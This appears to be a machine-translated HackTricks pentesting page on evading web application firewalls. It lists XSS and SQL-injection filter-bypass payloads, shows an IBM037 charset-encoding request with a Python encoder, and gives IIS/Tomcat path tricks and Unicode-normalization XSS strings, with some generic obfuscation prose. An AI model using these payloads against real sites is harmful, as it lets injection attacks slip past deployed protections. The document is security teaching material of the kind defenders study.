hacktricks/network-services-pentesting/pentesting-web/waf-bypass.md
2024-02-10 13:11:20 +00:00

9.9 KiB
Raw Blame History

Bypassovanje WAF-a

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Bypassovanje Regex-a

Različite tehnike se mogu koristiti za zaobilaženje regex filtera na firewall-ima. Primeri uključuju smenjivanje velikih i malih slova, dodavanje preloma linije i enkodiranje payload-a. Resursi za različite načine zaobilaženja se mogu pronaći na PayloadsAllTheThings i OWASP. Primeri ispod su preuzeti iz ovog članka.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Kodiranje karaktera

Kodiranje karaktera je proces pretvaranja znakova u odgovarajuće binarne reprezentacije. U kontekstu zaobilaženja WAF-a, možete iskoristiti različite kodne skupove kako biste zaobišli detekciju WAF-a.

URL kodiranje

URL kodiranje se koristi za pretvaranje specijalnih znakova u njihove ekvivalentne heksadecimalne vrednosti. Na taj način, znakovi koji bi mogli biti blokirani ili filtrirani od strane WAF-a mogu proći neprimećeno.

Primjer:

Originalni URL: http://www.example.com/page?param=value

URL kodiranje: http%3A%2F%2Fwww.example.com%2Fpage%3Fparam%3Dvalue

HTML kodiranje

HTML kodiranje se koristi za pretvaranje specijalnih znakova u njihove ekvivalentne HTML entitete. Ovo može biti korisno za zaobilaženje WAF-a koji filtrira HTML oznake ili specifične znakove.

Primjer:

Originalni tekst: <script>alert('XSS')</script>

HTML kodiranje: &lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;

Unicode kodiranje

Unicode kodiranje se koristi za pretvaranje znakova u njihove ekvivalentne Unicode vrednosti. Ovo može biti korisno za zaobilaženje WAF-a koji filtrira specifične znakove ili kodne skupove.

Primjer:

Originalni tekst: SELECT * FROM users WHERE username = 'admin'

Unicode kodiranje: SELECT * FROM users WHERE username = '\u0061\u0064\u006d\u0069\u006e'

Punycode kodiranje

Punycode kodiranje se koristi za pretvaranje domena koji sadrže Unicode znakove u ASCII reprezentaciju. Ovo može biti korisno za zaobilaženje WAF-a koji blokira ili filtrira domene sa specifičnim znakovima.

Primjer:

Originalni domen: http://www.éxample.com

Punycode kodiranje: http://www.xn--xample-9uf.com

# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037

##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037")))

## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61

%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n

Obfuskacija

Obfuskacija je tehnika koja se koristi za prikrivanje ili zamagljivanje stvarnog koda ili podataka kako bi se izbjeglo otkrivanje ili detekcija. Ova tehnika se često koristi za zaobilaženje Web Application Firewall (WAF) sistema.

Tehnike obfuskacije

  1. Minifikacija: Minifikacija je proces smanjivanja veličine koda uklanjanjem nepotrebnih znakova, razmaka i komentara. Ovo čini kod manje čitljivim i teže razumljivim za ljude, ali ne utječe na funkcionalnost koda.

  2. Enkripcija: Enkripcija se koristi za pretvaranje čitljivog koda u nečitljivi oblik pomoću algoritama enkripcije. Ovaj oblik koda se zatim dekriptira na ciljnom serveru prije izvršavanja.

  3. Polimorfizam: Polimorfizam je tehnika koja mijenja oblik koda tako da svaka instanca izgleda drugačije, ali ima istu funkcionalnost. Ovo otežava detekciju i analizu koda.

  4. Steganografija: Steganografija je tehnika skrivanja podataka unutar drugih podataka, kao što su slike ili zvukovi. U kontekstu obfuskacije, ova tehnika se koristi za skrivanje zlonamjernog koda unutar legitimnih datoteka.

Bypassing WAF putem obfuskacije

Korištenje obfuskacije može biti korisno za zaobilaženje WAF sistema. Evo nekoliko tehnika koje se mogu koristiti:

  1. Obfuskacija URL-a: Promjena URL-a tako da se izbjegne detekcija WAF-a. Ovo se može postići dodavanjem slučajnih znakova, enkodiranjem URL-a ili korištenjem kratkih URL-ova.

  2. Obfuskacija parametara: Enkodiranje ili enkripcija parametara kako bi se izbjeglo otkrivanje zlonamjernih aktivnosti.

  3. Obfuskacija HTTP zaglavlja: Promjena ili dodavanje dodatnih zaglavlja kako bi se izbjegla detekcija WAF-a.

  4. Obfuskacija HTTP tijela: Enkodiranje ili enkripcija HTTP tijela kako bi se izbjeglo otkrivanje zlonamjernog sadržaja.

Važno je napomenuti da obfuskacija nije uvijek 100% efikasna i da se WAF sistemi stalno razvijaju kako bi prepoznali nove tehnike obfuskacije. Stoga je važno redovito ažurirati svoje tehnike i pratiti najnovije razvoje u oblasti WAF-a.

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode kompatibilnost

Zavisno od implementacije normalizacije Unicode-a (više informacija ovde), karakteri koji dele Unicode kompatibilnost mogu zaobići WAF i izvršiti se kao namereni payload. Kompatibilni karakteri se mogu pronaći ovde

Primer

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥  --> img src=p onerror='prompt(1)'>

Превазилажење ограничења величине

Уобичајено је у WAF-овим базираним на облаку да ако је полезност већа од X величине, захтев неће бити проверен од стране WAF-а. Можете једноставно користити то да их превазиђете.

Ротација IP адреса

Научите хаковање AWS-а од нуле до хероја са htARTE (HackTricks AWS Red Team Expert)!

Други начини да подржите HackTricks: